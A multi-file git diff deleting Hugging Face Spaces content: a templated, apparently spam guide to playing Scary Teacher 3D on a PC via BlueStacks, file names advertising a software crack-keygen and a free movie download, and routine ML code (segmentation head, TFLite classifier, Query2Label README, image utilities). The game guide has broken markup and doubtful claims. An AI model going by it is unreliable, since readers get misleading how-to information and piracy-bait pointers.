-<p>Once you have linked your devices, you will be able to access your phone's apps on your PC. On the left sidebar of Your Phone app, click on Apps. You will see a list of apps installed on your phone. Find Scary Teacher 3D and click on it.</p>
-<h3>Step 4: Click on the game icon and play it on your PC</h3>
-<p>You will see a window that shows the game running on your phone. You can use your PC's keyboard and mouse to control the game. You can also resize, pin, or minimize the window as you like.</p>
- <h2>Tips and Tricks to Play Scary Teacher 3D on Laptop</h2>
-<p>Here are some tips and tricks to play Scary Teacher 3D on your laptop better:</p>
-<h3>How to use keyboard and mouse controls for better accuracy</h3> <p>How to use keyboard and mouse controls for better accuracy</p>
-<p>One of the advantages of playing Scary Teacher 3D on your laptop is that you can use your keyboard and mouse to control the game more precisely. You can customize the key mapping and sensitivity settings according to your preference. Here are the default keyboard and mouse controls for Scary Teacher 3D on BlueStacks:</p>
-<table>
-<tr>
-<th>Key</th>
-<th>Action</th>
-</tr>
-<tr>
-<td>WASD</td>
-<td>Move</td>
-</tr>
-<tr>
-<td>Mouse</td>
-<td>Look around</td>
-</tr>
-<tr>
-<td>Left click</td>
-<td>Interact</td>
-</tr>
-<tr>
-<td>Right click</td>
-<td>Crouch</td>
-</tr>
-<tr>
-<td>Space</td>
-<td>Jump</td>
-</tr>
-<tr>
-<td>E</td>
-<td>Pick up/Throw/Drop item</td>
-</tr>
-<tr>
-<td>F1</td>
-<td>Show/Hide key mapping overlay</td>
-</tr>
-<tr>
-<td>F11</td>
-<td>Toggle full screen mode</td>
-</tr>
- </table>
- <h3>How to use BlueStacks features like Eco Mode, Macros, Script, etc. for enhanced gameplay</h3>
- <p>BlueStacks offers many features that can enhance your gameplay performance and efficiency while playing Scary Teacher 3D on your laptop. Here are some of them:</p>
- <ul>
- <li>Eco Mode: This feature reduces the CPU and GPU usage of BlueStacks and saves battery power. You can enable Eco Mode by clicking on the Eco Mode icon on the right sidebar of BlueStacks. This will make the game run smoother and faster on your PC.</li>
- <li>Macros: This feature lets you record and replay a sequence of actions in the game. You can use Macros to automate repetitive tasks, such as collecting coins, completing missions, etc. You can create and edit Macros by clicking on the Macro icon on the right sidebar of BlueStacks. You can also assign hotkeys to run Macros quickly.</li>
- <li>Script: This feature lets you write and execute custom scripts in the game. You can use Script to perform complex actions, such as changing settings, using items, etc. You can create and edit Scripts by clicking on the Script icon on the right sidebar of BlueStacks. You can also assign hotkeys to run Scripts easily.</li>
- <li>Multi-Instance: This feature lets you run multiple instances of BlueStacks and play different games or accounts simultaneously. You can use Multi-Instance to switch between different scenarios, such as exploring different rooms, pranking different teachers, etc. You can create and manage Multi-Instances by clicking on the Multi-Instance icon on the right sidebar of BlueStacks.</li>
- <li>Multi-Instance Sync: This feature lets you synchronize the actions of multiple instances of BlueStacks and play the same game or account simultaneously. You can use Multi-Instance Sync to clone your actions, such as moving, interacting, etc. across all instances. You can enable Multi-Instance Sync by clicking on the Multi-Instance Sync icon on the right sidebar of BlueStacks.</li>
- <li>To learn more about these features, visit the <a href="">BlueStacks Support Center</a>.</li>
- </ul>
- <h3>How to earn rewards with Google Play Points while playing Scary Teacher 3D on PC</h3>
- <p>Google Play Points is a program that rewards you for downloading and playing games from Google Play Store. You can earn points by completing various activities, such as installing games, making in-app purchases, watching ads, etc. You can then redeem your points for various rewards, such as Google Play credit, in-game items, coupons, etc.</p>
- <p>To earn rewards with Google Play Points while playing Scary Teacher 3D on your PC, you need to do the following:</p>
- <ol>
- <li>Sign up for Google Play Points by opening Google Play Store on BlueStacks and tapping on the menu icon at the top left corner. Then tap on Play Points and follow the instructions to join the program.</li>
- <li>Earn points by playing Scary Teacher 3D on your PC. You can earn points by installing the game, making in-app purchases, watching rewarded videos, etc.</li>
- <li>Redeem your points for rewards by opening Google Play Store on BlueStacks and tapping on the menu icon at the top left corner. Then tap on Play Points and browse through the available rewards. You can choose from various categories, such as Games, Apps, Movies & TV, Books, etc.</li>
- <li>To learn more about Google Play Points, visit the <a href="">Google Play Help Center</a>.</li>
- </ol>
- <h2> <h2>Conclusion</h2>
-<p>Scary Teacher 3D is a fun and thrilling game that lets you prank and scare your evil high school teacher. You can play this game on your laptop using either an Android emulator like BlueStacks or a phone app like Your Phone. Both methods have their own advantages and disadvantages, so you can choose the one that suits you best. You can also use some tips and tricks to play Scary Teacher 3D on your laptop better, such as using keyboard and mouse controls, using BlueStacks features, and earning rewards with Google Play Points. We hope this article helped you learn how to download and play Scary Teacher 3D on your laptop. Have fun and enjoy the game!</p>
- <h2>FAQs</h2>
-<p>Here are some frequently asked questions about Scary Teacher 3D and playing it on laptop:</p>
-<h4>Q: Is Scary Teacher 3D free to play?</h4>
-<p>A: Yes, Scary Teacher 3D is free to download and play from Google Play Store. However, the game contains ads and offers in-app purchases that can enhance your gameplay experience.</p>
-<h4>Q: Can I play Scary Teacher 3D offline?</h4>
-<p>A: Yes, you can play Scary Teacher 3D offline without an internet connection. However, some features of the game, such as watching rewarded videos, earning Google Play Points, etc. may require an internet connection.</p>
-<h4>Q: How many levels are there in Scary Teacher 3D?</h4>
-<p>A: There are currently 15 levels in Scary Teacher 3D, each with a different theme and objective. You can unlock new levels by completing the previous ones or by watching ads.</p>
-<h4>Q: How can I save my progress in Scary Teacher 3D?</h4>
-<p>A: You can save your progress in Scary Teacher 3D by signing in with your Google account. This will also allow you to sync your progress across different devices.</p>
-<h4>Q: How can I contact the developers of Scary Teacher 3D?</h4>
-<p>A: You can contact the developers of Scary Teacher 3D by sending an email to <a href="mailto:support@zatungames.com">support@zatungames.com</a>. You can also follow them on their social media accounts, such as <a href="">Facebook</a>, <a href="">Instagram</a>, and <a href="">YouTube</a>.</p> 401be4b1e0<br />
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diff --git a/spaces/contluForse/HuggingGPT/assets/A Matter Of Time BEST.md b/spaces/contluForse/HuggingGPT/assets/A Matter Of Time BEST.md
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-
-<p>The film jumps forward to the present time. Nina has become a motion picture star. She arrives at the press conference. As she steps out of her limousine, a girl hurries up and says she wants to be just like Nina when she grows up.</p>
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index 26fdee6248ef77a0b64e21c8151c4f9929e43568..0000000000000000000000000000000000000000
--- a/spaces/contluForse/HuggingGPT/assets/Aladin 3 in hindi free download 720p Dont miss the chance to see Aladin and Jasmines happy ending.md	
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index dac0e287a35490879884e1b3a905efbcdcfbd974..0000000000000000000000000000000000000000
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diff --git a/spaces/contluForse/HuggingGPT/assets/EASEUS Data Recovery Wizard Professional (Crack Keygen) Recover Data from Formatted Damaged or Inaccessible Drives.md b/spaces/contluForse/HuggingGPT/assets/EASEUS Data Recovery Wizard Professional (Crack Keygen) Recover Data from Formatted Damaged or Inaccessible Drives.md
deleted file mode 100644
index beb93c28f1e7b88f8d89575a1c48f2719a7b9e92..0000000000000000000000000000000000000000
--- a/spaces/contluForse/HuggingGPT/assets/EASEUS Data Recovery Wizard Professional (Crack Keygen) Recover Data from Formatted Damaged or Inaccessible Drives.md	
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diff --git a/spaces/coreml-community/ControlNet-v1-1-Annotators-cpu/annotator/mmpkg/mmseg/models/decode_heads/uper_head.py b/spaces/coreml-community/ControlNet-v1-1-Annotators-cpu/annotator/mmpkg/mmseg/models/decode_heads/uper_head.py
deleted file mode 100644
index 952473578c1f5b903f5fc7f9d13a4e40ea5dec87..0000000000000000000000000000000000000000
--- a/spaces/coreml-community/ControlNet-v1-1-Annotators-cpu/annotator/mmpkg/mmseg/models/decode_heads/uper_head.py
+++ /dev/null
@@ -1,126 +0,0 @@
-import torch
-import torch.nn as nn
-from annotator.mmpkg.mmcv.cnn import ConvModule
-
-from annotator.mmpkg.mmseg.ops import resize
-from ..builder import HEADS
-from .decode_head import BaseDecodeHead
-from .psp_head import PPM
-
-
-@HEADS.register_module()
-class UPerHead(BaseDecodeHead):
-    """Unified Perceptual Parsing for Scene Understanding.
-
-    This head is the implementation of `UPerNet
-    <https://arxiv.org/abs/1807.10221>`_.
-
-    Args:
-        pool_scales (tuple[int]): Pooling scales used in Pooling Pyramid
-            Module applied on the last feature. Default: (1, 2, 3, 6).
-    """
-
-    def __init__(self, pool_scales=(1, 2, 3, 6), **kwargs):
-        super(UPerHead, self).__init__(
-            input_transform='multiple_select', **kwargs)
-        # PSP Module
-        self.psp_modules = PPM(
-            pool_scales,
-            self.in_channels[-1],
-            self.channels,
-            conv_cfg=self.conv_cfg,
-            norm_cfg=self.norm_cfg,
-            act_cfg=self.act_cfg,
-            align_corners=self.align_corners)
-        self.bottleneck = ConvModule(
-            self.in_channels[-1] + len(pool_scales) * self.channels,
-            self.channels,
-            3,
-            padding=1,
-            conv_cfg=self.conv_cfg,
-            norm_cfg=self.norm_cfg,
-            act_cfg=self.act_cfg)
-        # FPN Module
-        self.lateral_convs = nn.ModuleList()
-        self.fpn_convs = nn.ModuleList()
-        for in_channels in self.in_channels[:-1]:  # skip the top layer
-            l_conv = ConvModule(
-                in_channels,
-                self.channels,
-                1,
-                conv_cfg=self.conv_cfg,
-                norm_cfg=self.norm_cfg,
-                act_cfg=self.act_cfg,
-                inplace=False)
-            fpn_conv = ConvModule(
-                self.channels,
-                self.channels,
-                3,
-                padding=1,
-                conv_cfg=self.conv_cfg,
-                norm_cfg=self.norm_cfg,
-                act_cfg=self.act_cfg,
-                inplace=False)
-            self.lateral_convs.append(l_conv)
-            self.fpn_convs.append(fpn_conv)
-
-        self.fpn_bottleneck = ConvModule(
-            len(self.in_channels) * self.channels,
-            self.channels,
-            3,
-            padding=1,
-            conv_cfg=self.conv_cfg,
-            norm_cfg=self.norm_cfg,
-            act_cfg=self.act_cfg)
-
-    def psp_forward(self, inputs):
-        """Forward function of PSP module."""
-        x = inputs[-1]
-        psp_outs = [x]
-        psp_outs.extend(self.psp_modules(x))
-        psp_outs = torch.cat(psp_outs, dim=1)
-        output = self.bottleneck(psp_outs)
-
-        return output
-
-    def forward(self, inputs):
-        """Forward function."""
-
-        inputs = self._transform_inputs(inputs)
-
-        # build laterals
-        laterals = [
-            lateral_conv(inputs[i])
-            for i, lateral_conv in enumerate(self.lateral_convs)
-        ]
-
-        laterals.append(self.psp_forward(inputs))
-
-        # build top-down path
-        used_backbone_levels = len(laterals)
-        for i in range(used_backbone_levels - 1, 0, -1):
-            prev_shape = laterals[i - 1].shape[2:]
-            laterals[i - 1] += resize(
-                laterals[i],
-                size=prev_shape,
-                mode='bilinear',
-                align_corners=self.align_corners)
-
-        # build outputs
-        fpn_outs = [
-            self.fpn_convs[i](laterals[i])
-            for i in range(used_backbone_levels - 1)
-        ]
-        # append psp feature
-        fpn_outs.append(laterals[-1])
-
-        for i in range(used_backbone_levels - 1, 0, -1):
-            fpn_outs[i] = resize(
-                fpn_outs[i],
-                size=fpn_outs[0].shape[2:],
-                mode='bilinear',
-                align_corners=self.align_corners)
-        fpn_outs = torch.cat(fpn_outs, dim=1)
-        output = self.fpn_bottleneck(fpn_outs)
-        output = self.cls_seg(output)
-        return output
diff --git a/spaces/coreml-community/ControlNet-v1-1-Annotators-cpu/annotator/zoe/zoedepth/models/base_models/midas_repo/mobile/android/lib_support/src/main/java/org/tensorflow/lite/examples/classification/tflite/ClassifierFloatMobileNet.java b/spaces/coreml-community/ControlNet-v1-1-Annotators-cpu/annotator/zoe/zoedepth/models/base_models/midas_repo/mobile/android/lib_support/src/main/java/org/tensorflow/lite/examples/classification/tflite/ClassifierFloatMobileNet.java
deleted file mode 100644
index 40519de07cf5e887773250a4609a832b6060d684..0000000000000000000000000000000000000000
--- a/spaces/coreml-community/ControlNet-v1-1-Annotators-cpu/annotator/zoe/zoedepth/models/base_models/midas_repo/mobile/android/lib_support/src/main/java/org/tensorflow/lite/examples/classification/tflite/ClassifierFloatMobileNet.java
+++ /dev/null
@@ -1,72 +0,0 @@
-/* Copyright 2019 The TensorFlow Authors. All Rights Reserved.
-
-Licensed under the Apache License, Version 2.0 (the "License");
-you may not use this file except in compliance with the License.
-You may obtain a copy of the License at
-
-  http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing, software
-distributed under the License is distributed on an "AS IS" BASIS,
-WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-See the License for the specific language governing permissions and
-limitations under the License.
-==============================================================================*/
-
-package org.tensorflow.lite.examples.classification.tflite;
-
-import android.app.Activity;
-import java.io.IOException;
-import org.tensorflow.lite.examples.classification.tflite.Classifier.Device;
-import org.tensorflow.lite.support.common.TensorOperator;
-import org.tensorflow.lite.support.common.ops.NormalizeOp;
-
-/** This TensorFlowLite classifier works with the float MobileNet model. */
-public class ClassifierFloatMobileNet extends Classifier {
-
-  /** Float MobileNet requires additional normalization of the used input. */
-  private static final float IMAGE_MEAN = 127.5f;
-
-  private static final float IMAGE_STD = 127.5f;
-
-  /**
-   * Float model does not need dequantization in the post-processing. Setting mean and std as 0.0f
-   * and 1.0f, repectively, to bypass the normalization.
-   */
-  private static final float PROBABILITY_MEAN = 0.0f;
-
-  private static final float PROBABILITY_STD = 1.0f;
-
-  /**
-   * Initializes a {@code ClassifierFloatMobileNet}.
-   *
-   * @param activity
-   */
-  public ClassifierFloatMobileNet(Activity activity, Device device, int numThreads)
-      throws IOException {
-    super(activity, device, numThreads);
-  }
-
-  @Override
-  protected String getModelPath() {
-    // you can download this file from
-    // see build.gradle for where to obtain this file. It should be auto
-    // downloaded into assets.
-    return "model_0.tflite";
-  }
-
-  @Override
-  protected String getLabelPath() {
-    return "labels.txt";
-  }
-
-  @Override
-  protected TensorOperator getPreprocessNormalizeOp() {
-    return new NormalizeOp(IMAGE_MEAN, IMAGE_STD);
-  }
-
-  @Override
-  protected TensorOperator getPostprocessNormalizeOp() {
-    return new NormalizeOp(PROBABILITY_MEAN, PROBABILITY_STD);
-  }
-}
diff --git a/spaces/cpwan/RLOR-TSP/models/nets/__init__.py b/spaces/cpwan/RLOR-TSP/models/nets/__init__.py
deleted file mode 100644
index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000
diff --git a/spaces/crylake/img2poem/query2labels/README.md b/spaces/crylake/img2poem/query2labels/README.md
deleted file mode 100644
index 82bfc8322e217479312cac350095c07448cad853..0000000000000000000000000000000000000000
--- a/spaces/crylake/img2poem/query2labels/README.md
+++ /dev/null
@@ -1,113 +0,0 @@
-[![PWC](https://img.shields.io/endpoint.svg?url=https://paperswithcode.com/badge/query2label-a-simple-transformer-way-to-multi/multi-label-classification-on-ms-coco)](https://paperswithcode.com/sota/multi-label-classification-on-ms-coco?p=query2label-a-simple-transformer-way-to-multi)
-[![PWC](https://img.shields.io/endpoint.svg?url=https://paperswithcode.com/badge/query2label-a-simple-transformer-way-to-multi/multi-label-classification-on-nus-wide)](https://paperswithcode.com/sota/multi-label-classification-on-nus-wide?p=query2label-a-simple-transformer-way-to-multi)
-[![PWC](https://img.shields.io/endpoint.svg?url=https://paperswithcode.com/badge/query2label-a-simple-transformer-way-to-multi/multi-label-classification-on-pascal-voc-2007)](https://paperswithcode.com/sota/multi-label-classification-on-pascal-voc-2007?p=query2label-a-simple-transformer-way-to-multi)
-[![PWC](https://img.shields.io/endpoint.svg?url=https://paperswithcode.com/badge/query2label-a-simple-transformer-way-to-multi/multi-label-classification-on-pascal-voc-2012)](https://paperswithcode.com/sota/multi-label-classification-on-pascal-voc-2012?p=query2label-a-simple-transformer-way-to-multi)
-
-# Introdunction
-This is the official implementation of the paper ["Query2Label: A Simple Transformer Way to Multi-Label Classification"](https://arxiv.org/abs/2107.10834).
-## Abstract
-
-This paper presents a simple and effective approach to solving the multi-label classification problem. The proposed approach leverages Transformer decoders to query the existence of a class label. The use of Transformer is rooted in the need of extracting local discriminative features adaptively for different labels, which is a strongly desired property due to the existence of multiple objects in one image. The built-in cross-attention module in the Transformer decoder offers an effective way to use label embeddings as queries to probe and pool class-related features from a feature map computed by a vision backbone for subsequent binary classifications. Compared with prior works, the new framework is simple, using standard Transformers and vision backbones, and effective, consistently outperforming all previous works on five multi-label classification data sets, including MS-COCO, PASCAL VOC, NUS-WIDE, and Visual Genome. Particularly, we establish 91.3% mAP on MS-COCO. We hope its compact structure, simple implementation, and superior performance serve as a strong baseline for multi-label classification tasks and future studies.
-
-![fig](images/framework4_00.png)
-
-## Results on MS-COCO:
-![fig](images/coco_q2l_results.png)
-
-
-# Quick start
-0. (optional) Star this repo. 
-
-1. Clone this repo:
-```sh
-git clone git@github.com:SlongLiu/query2labels.git
-cd query2labels
-```
-
-2. Install [```cuda```](https://developer.nvidia.com/cuda-downloads), [```PyTorch``` and ```torchvision```](https://pytorch.org/).
-
-Please make sure they are compatible.
-We test our models on two envs and other configs may also work:
-```sh
-cuda==11, torch==1.9.0, torchvision==0.10.0, python==3.7.3
-or
-cuda==10.2, torch==1.6.0, torchvision==0.7.0, python==3.7.3
-```
-
-3. Install other needed packages.
-```sh
-pip install -r requirments.txt
-```
-
-4. Data preparation.
-
-Download [MS-COCO 2014](https://cocodataset.org/#download).
-
-5. Train
-```sh
-# single process
-python main_mlc.py \
---dataset_dir '/path/to/COCO14/' \
---backbone resnet101 --dataname coco14 --batch-size 64 --print-freq 100 \
---output "path/to/output" \
---world-size 1 --rank 0 --dist-url tcp://127.0.0.1:3717 \
---gamma_pos 0 --gamma_neg 2 --dtgfl \
---epochs 80 --lr 1e-4 --optim AdamW --pretrained \
---num_class 80 --img_size 448 --weight-decay 1e-2 \
---cutout --n_holes 1 --cut_fact 0.5 \
---hidden_dim 2048 --dim_feedforward 8192 \
---enc_layers 1 --dec_layers 2 --nheads 4 \
---early-stop --amp 
-
-# single node multi processes
-python -m torch.distributed.launch --nproc_per_node=2 \
-main_mlc.py \
---dataset_dir '/path/to/COCO14/' \
---backbone resnet101 --dataname coco14 --batch-size 128 --print-freq 100 \
---output "path/to/output" \
---world-size 1 --rank 0 --dist-url tcp://127.0.0.1:3717 \
---gamma_pos 0 --gamma_neg 2 --dtgfl \
---epochs 80 --lr 1e-4 --optim AdamW --pretrained \
---num_class 80 --img_size 448 --weight-decay 1e-2 \
---cutout --n_holes 1 --cut_fact 0.5 \
---hidden_dim 2048 --dim_feedforward 8192 \
---enc_layers 1 --dec_layers 2 --nheads 4 \
---early-stop --amp 
-```
-
-
-# Pretrianed Models
-## Download pretrained models.
-|  Modelname   | mAP | link(Tsinghua-cloud)  | 
-|  ----  | ----  | ---- | 
-| Q2L-R101-448  | 84.9 | [model](https://cloud.tsinghua.edu.cn/d/a1560cd327dc45d0ad8e/), [log](https://cloud.tsinghua.edu.cn/d/a1560cd327dc45d0ad8e/?p=%2FQ2L-logs&mode=list) |
-| Q2L-R101-576  | 86.5 | [model](https://cloud.tsinghua.edu.cn/d/a1560cd327dc45d0ad8e/), [log](https://cloud.tsinghua.edu.cn/d/a1560cd327dc45d0ad8e/?p=%2FQ2L-logs&mode=list) |
-| Q2L-TResL-448  | 87.3 | [model](https://cloud.tsinghua.edu.cn/d/a1560cd327dc45d0ad8e/), [log](https://cloud.tsinghua.edu.cn/d/a1560cd327dc45d0ad8e/?p=%2FQ2L-logs&mode=list) |
-| Q2L-TResL_22k-448  | 89.2 | [model](https://cloud.tsinghua.edu.cn/d/a1560cd327dc45d0ad8e/), [log](https://cloud.tsinghua.edu.cn/d/a1560cd327dc45d0ad8e/?p=%2FQ2L-logs&mode=list) |
-| Q2L-SwinL-384  | 90.5 | [model](https://cloud.tsinghua.edu.cn/d/a1560cd327dc45d0ad8e/), [log](https://cloud.tsinghua.edu.cn/d/a1560cd327dc45d0ad8e/?p=%2FQ2L-logs&mode=list) |
-| Q2L-CvT_w24-384  | 91.3 | [model](https://cloud.tsinghua.edu.cn/d/a1560cd327dc45d0ad8e/), [log](https://cloud.tsinghua.edu.cn/d/a1560cd327dc45d0ad8e/?p=%2FQ2L-logs&mode=list) |
-
-## Test pretrained models
-```sh
-python q2l_infer.py -a modelname --config /path/to/json/file --resume /path/to/pkl/file [other args]
-e.g.
-python q2l_infer.py -a 'Q2L-R101-448' --config "pretrained/Q2L-R101-448/config_new.json" -b 16 --resume 'pretrained/Q2L-R101-448/checkpoint.pkl'
-```
-
-
-
-# BibTex
-```
-@misc{liu2021query2label,
-      title={Query2Label: A Simple Transformer Way to Multi-Label Classification}, 
-      author={Shilong Liu and Lei Zhang and Xiao Yang and Hang Su and Jun Zhu},
-      year={2021},
-      eprint={2107.10834},
-      archivePrefix={arXiv},
-      primaryClass={cs.CV}
-}
-```
-
-# Acknowledgement
-We thank the authors of [ASL](https://github.com/Alibaba-MIIL/ASL), [TResNet](https://github.com/Alibaba-MIIL/TResNet), [detr](https://github.com/facebookresearch/detr), [CvT](https://github.com/microsoft/CvT), and [Swin-Transformer](https://github.com/microsoft/Swin-Transformer) for their great works and codes.
-Thanks to @mrT23 for sharing training tricks and providing a useful script for training.
\ No newline at end of file
diff --git a/spaces/cvlab/zero123-live/ldm/modules/image_degradation/utils_image.py b/spaces/cvlab/zero123-live/ldm/modules/image_degradation/utils_image.py
deleted file mode 100644
index 0175f155ad900ae33c3c46ed87f49b352e3faf98..0000000000000000000000000000000000000000
--- a/spaces/cvlab/zero123-live/ldm/modules/image_degradation/utils_image.py
+++ /dev/null
@@ -1,916 +0,0 @@
-import os
-import math
-import random
-import numpy as np
-import torch
-import cv2
-from torchvision.utils import make_grid
-from datetime import datetime
-#import matplotlib.pyplot as plt   # TODO: check with Dominik, also bsrgan.py vs bsrgan_light.py
-
-
-os.environ["KMP_DUPLICATE_LIB_OK"]="TRUE"
-
-
-'''
-# --------------------------------------------
-# Kai Zhang (github: https://github.com/cszn)
-# 03/Mar/2019
-# --------------------------------------------
-# https://github.com/twhui/SRGAN-pyTorch
-# https://github.com/xinntao/BasicSR
-# --------------------------------------------
-'''
-
-
-IMG_EXTENSIONS = ['.jpg', '.JPG', '.jpeg', '.JPEG', '.png', '.PNG', '.ppm', '.PPM', '.bmp', '.BMP', '.tif']
-
-
-def is_image_file(filename):
-    return any(filename.endswith(extension) for extension in IMG_EXTENSIONS)
-
-
-def get_timestamp():
-    return datetime.now().strftime('%y%m%d-%H%M%S')
-
-
-def imshow(x, title=None, cbar=False, figsize=None):
-    plt.figure(figsize=figsize)
-    plt.imshow(np.squeeze(x), interpolation='nearest', cmap='gray')
-    if title:
-        plt.title(title)
-    if cbar:
-        plt.colorbar()
-    plt.show()
-
-
-def surf(Z, cmap='rainbow', figsize=None):
-    plt.figure(figsize=figsize)
-    ax3 = plt.axes(projection='3d')
-
-    w, h = Z.shape[:2]
-    xx = np.arange(0,w,1)
-    yy = np.arange(0,h,1)
-    X, Y = np.meshgrid(xx, yy)
-    ax3.plot_surface(X,Y,Z,cmap=cmap)
-    #ax3.contour(X,Y,Z, zdim='z',offset=-2，cmap=cmap)
-    plt.show()
-
-
-'''
-# --------------------------------------------
-# get image pathes
-# --------------------------------------------
-'''
-
-
-def get_image_paths(dataroot):
-    paths = None  # return None if dataroot is None
-    if dataroot is not None:
-        paths = sorted(_get_paths_from_images(dataroot))
-    return paths
-
-
-def _get_paths_from_images(path):
-    assert os.path.isdir(path), '{:s} is not a valid directory'.format(path)
-    images = []
-    for dirpath, _, fnames in sorted(os.walk(path)):
-        for fname in sorted(fnames):
-            if is_image_file(fname):
-                img_path = os.path.join(dirpath, fname)
-                images.append(img_path)
-    assert images, '{:s} has no valid image file'.format(path)
-    return images
-
-
-'''
-# --------------------------------------------
-# split large images into small images 
-# --------------------------------------------
-'''
-
-
-def patches_from_image(img, p_size=512, p_overlap=64, p_max=800):
-    w, h = img.shape[:2]
-    patches = []
-    if w > p_max and h > p_max:
-        w1 = list(np.arange(0, w-p_size, p_size-p_overlap, dtype=np.int))
-        h1 = list(np.arange(0, h-p_size, p_size-p_overlap, dtype=np.int))
-        w1.append(w-p_size)
-        h1.append(h-p_size)
-#        print(w1)
-#        print(h1)
-        for i in w1:
-            for j in h1:
-                patches.append(img[i:i+p_size, j:j+p_size,:])
-    else:
-        patches.append(img)
-
-    return patches
-
-
-def imssave(imgs, img_path):
-    """
-    imgs: list, N images of size WxHxC
-    """
-    img_name, ext = os.path.splitext(os.path.basename(img_path))
-
-    for i, img in enumerate(imgs):
-        if img.ndim == 3:
-            img = img[:, :, [2, 1, 0]]
-        new_path = os.path.join(os.path.dirname(img_path), img_name+str('_s{:04d}'.format(i))+'.png')
-        cv2.imwrite(new_path, img)
-
-
-def split_imageset(original_dataroot, taget_dataroot, n_channels=3, p_size=800, p_overlap=96, p_max=1000):
-    """
-    split the large images from original_dataroot into small overlapped images with size (p_size)x(p_size),
-    and save them into taget_dataroot; only the images with larger size than (p_max)x(p_max)
-    will be splitted.
-    Args:
-        original_dataroot:
-        taget_dataroot:
-        p_size: size of small images
-        p_overlap: patch size in training is a good choice
-        p_max: images with smaller size than (p_max)x(p_max) keep unchanged.
-    """
-    paths = get_image_paths(original_dataroot)
-    for img_path in paths:
-        # img_name, ext = os.path.splitext(os.path.basename(img_path))
-        img = imread_uint(img_path, n_channels=n_channels)
-        patches = patches_from_image(img, p_size, p_overlap, p_max)
-        imssave(patches, os.path.join(taget_dataroot,os.path.basename(img_path)))
-        #if original_dataroot == taget_dataroot:
-        #del img_path
-
-'''
-# --------------------------------------------
-# makedir
-# --------------------------------------------
-'''
-
-
-def mkdir(path):
-    if not os.path.exists(path):
-        os.makedirs(path)
-
-
-def mkdirs(paths):
-    if isinstance(paths, str):
-        mkdir(paths)
-    else:
-        for path in paths:
-            mkdir(path)
-
-
-def mkdir_and_rename(path):
-    if os.path.exists(path):
-        new_name = path + '_archived_' + get_timestamp()
-        print('Path already exists. Rename it to [{:s}]'.format(new_name))
-        os.rename(path, new_name)
-    os.makedirs(path)
-
-
-'''
-# --------------------------------------------
-# read image from path
-# opencv is fast, but read BGR numpy image
-# --------------------------------------------
-'''
-
-
-# --------------------------------------------
-# get uint8 image of size HxWxn_channles (RGB)
-# --------------------------------------------
-def imread_uint(path, n_channels=3):
-    #  input: path
-    # output: HxWx3(RGB or GGG), or HxWx1 (G)
-    if n_channels == 1:
-        img = cv2.imread(path, 0)  # cv2.IMREAD_GRAYSCALE
-        img = np.expand_dims(img, axis=2)  # HxWx1
-    elif n_channels == 3:
-        img = cv2.imread(path, cv2.IMREAD_UNCHANGED)  # BGR or G
-        if img.ndim == 2:
-            img = cv2.cvtColor(img, cv2.COLOR_GRAY2RGB)  # GGG
-        else:
-            img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)  # RGB
-    return img
-
-
-# --------------------------------------------
-# matlab's imwrite
-# --------------------------------------------
-def imsave(img, img_path):
-    img = np.squeeze(img)
-    if img.ndim == 3:
-        img = img[:, :, [2, 1, 0]]
-    cv2.imwrite(img_path, img)
-
-def imwrite(img, img_path):
-    img = np.squeeze(img)
-    if img.ndim == 3:
-        img = img[:, :, [2, 1, 0]]
-    cv2.imwrite(img_path, img)
-
-
-
-# --------------------------------------------
-# get single image of size HxWxn_channles (BGR)
-# --------------------------------------------
-def read_img(path):
-    # read image by cv2
-    # return: Numpy float32, HWC, BGR, [0,1]
-    img = cv2.imread(path, cv2.IMREAD_UNCHANGED)  # cv2.IMREAD_GRAYSCALE
-    img = img.astype(np.float32) / 255.
-    if img.ndim == 2:
-        img = np.expand_dims(img, axis=2)
-    # some images have 4 channels
-    if img.shape[2] > 3:
-        img = img[:, :, :3]
-    return img
-
-
-'''
-# --------------------------------------------
-# image format conversion
-# --------------------------------------------
-# numpy(single) <--->  numpy(unit)
-# numpy(single) <--->  tensor
-# numpy(unit)   <--->  tensor
-# --------------------------------------------
-'''
-
-
-# --------------------------------------------
-# numpy(single) [0, 1] <--->  numpy(unit)
-# --------------------------------------------
-
-
-def uint2single(img):
-
-    return np.float32(img/255.)
-
-
-def single2uint(img):
-
-    return np.uint8((img.clip(0, 1)*255.).round())
-
-
-def uint162single(img):
-
-    return np.float32(img/65535.)
-
-
-def single2uint16(img):
-
-    return np.uint16((img.clip(0, 1)*65535.).round())
-
-
-# --------------------------------------------
-# numpy(unit) (HxWxC or HxW) <--->  tensor
-# --------------------------------------------
-
-
-# convert uint to 4-dimensional torch tensor
-def uint2tensor4(img):
-    if img.ndim == 2:
-        img = np.expand_dims(img, axis=2)
-    return torch.from_numpy(np.ascontiguousarray(img)).permute(2, 0, 1).float().div(255.).unsqueeze(0)
-
-
-# convert uint to 3-dimensional torch tensor
-def uint2tensor3(img):
-    if img.ndim == 2:
-        img = np.expand_dims(img, axis=2)
-    return torch.from_numpy(np.ascontiguousarray(img)).permute(2, 0, 1).float().div(255.)
-
-
-# convert 2/3/4-dimensional torch tensor to uint
-def tensor2uint(img):
-    img = img.data.squeeze().float().clamp_(0, 1).cpu().numpy()
-    if img.ndim == 3:
-        img = np.transpose(img, (1, 2, 0))
-    return np.uint8((img*255.0).round())
-
-
-# --------------------------------------------
-# numpy(single) (HxWxC) <--->  tensor
-# --------------------------------------------
-
-
-# convert single (HxWxC) to 3-dimensional torch tensor
-def single2tensor3(img):
-    return torch.from_numpy(np.ascontiguousarray(img)).permute(2, 0, 1).float()
-
-
-# convert single (HxWxC) to 4-dimensional torch tensor
-def single2tensor4(img):
-    return torch.from_numpy(np.ascontiguousarray(img)).permute(2, 0, 1).float().unsqueeze(0)
-
-
-# convert torch tensor to single
-def tensor2single(img):
-    img = img.data.squeeze().float().cpu().numpy()
-    if img.ndim == 3:
-        img = np.transpose(img, (1, 2, 0))
-
-    return img
-
-# convert torch tensor to single
-def tensor2single3(img):
-    img = img.data.squeeze().float().cpu().numpy()
-    if img.ndim == 3:
-        img = np.transpose(img, (1, 2, 0))
-    elif img.ndim == 2:
-        img = np.expand_dims(img, axis=2)
-    return img
-
-
-def single2tensor5(img):
-    return torch.from_numpy(np.ascontiguousarray(img)).permute(2, 0, 1, 3).float().unsqueeze(0)
-
-
-def single32tensor5(img):
-    return torch.from_numpy(np.ascontiguousarray(img)).float().unsqueeze(0).unsqueeze(0)
-
-
